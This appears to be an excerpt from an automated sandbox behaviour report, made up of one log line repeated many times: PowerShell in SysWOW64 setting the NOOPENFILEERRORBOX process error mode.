Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
